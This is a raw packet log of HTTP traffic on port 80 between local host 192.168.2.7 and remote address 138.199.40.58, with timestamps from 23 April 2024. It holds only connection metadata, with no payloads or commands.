Apr 23, 2024 08:39:58.849219084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849247932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849248886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849303007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849317074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849361897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849364042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849364042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849374056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849386930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849431038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849431038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849435091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849560976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849574089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849581003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849594116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849663973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849740982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849823952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849880934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849899054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849920034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849931955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849939108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849971056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849971056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850110054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850123882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850152969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850174904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850174904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850209951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850233078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850233078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850253105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850321054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850328922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850332975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850344896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850366116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850387096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850397110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850440025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850452900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850459099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850492001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850492001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850522995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850558996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850580931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850594044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850614071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850672960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850677013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850723982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850790024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850807905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850828886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850848913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850878000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850898981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.850944996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.850965977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851000071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851021051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851070881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851092100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851145983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851160049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851166010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851171017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851180077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851191044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851279974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851294041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851301908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851331949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851331949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851376057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851414919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851427078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851435900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851453066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851473093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851562023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851582050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851603031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851614952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851622105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851649046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851666927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851667881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851689100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.851707935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851756096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.851970911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852066040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852118969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852118969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852129936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852142096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852257013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852276087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852293968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852308035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852315903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852319002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852338076 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852394104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852406979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852416992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852447987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852461100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852461100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852526903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852566004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852577925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852585077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852588892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852596998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852601051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852622032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852669954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852691889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852756977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852770090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852777958 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852812052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852812052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852834940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852859020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852885008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852905035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852917910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.852937937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.852994919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853008032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853013992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853040934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853048086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853048086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853076935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853121042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853133917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853140116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853144884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853163004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853205919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853229046 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853241920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853262901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853282928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853302956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853318930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853319883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853374004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853395939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853434086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853454113 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853457928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853477955 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853480101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853498936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853502035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853522062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853543043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853562117 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853565931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853588104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853590965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853609085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853678942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853698015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853720903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853739977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853770018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853809118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853833914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853899956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853904963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.853971004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.853984118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854000092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854017019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854029894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854034901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854048967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854052067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854063034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854074001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854113102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854115963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854115963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854226112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854269028 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854269981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854290009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854384899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854399920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854413986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854427099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854434967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854445934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854489088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854511023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854551077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854602098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854707003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854746103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854778051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854825020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854865074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854877949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854885101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854913950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854924917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854924917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854958057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854974985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.854979992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854993105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.854999065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855045080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855045080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855066061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855078936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855089903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855135918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855144024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855144024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855185986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855216980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855230093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855241060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855252028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855269909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855283022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855283022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855283022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855293989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855305910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855315924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855315924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855359077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855370998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855376005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855402946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855421066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855421066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855442047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855453968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855462074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855473042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855520964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855529070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855596066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855617046 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855629921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855652094 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855673075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855684996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855695009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855695963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855706930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855715990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855715990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855757952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855778933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855799913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855818033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855834961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855848074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855854988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855866909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855914116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855930090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855935097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855959892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.855968952 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855968952 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.855994940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856046915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856060028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856067896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856111050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856111050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856111050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856125116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856137037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856158018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856208086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856208086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856221914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856240988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856261015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856277943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856285095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856296062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856311083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856333017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856352091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856353045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856374979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856398106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856417894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856431007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856440067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856442928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856448889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856453896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856467009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856473923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856518984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856539011 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856556892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856569052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856578112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856580019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856599092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856631041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856697083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856709003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856750011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856750011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856761932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856825113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856837034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856843948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856858969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856872082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856875896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856875896 CEST	49705	80	192.168.2.7	138.199.40.58
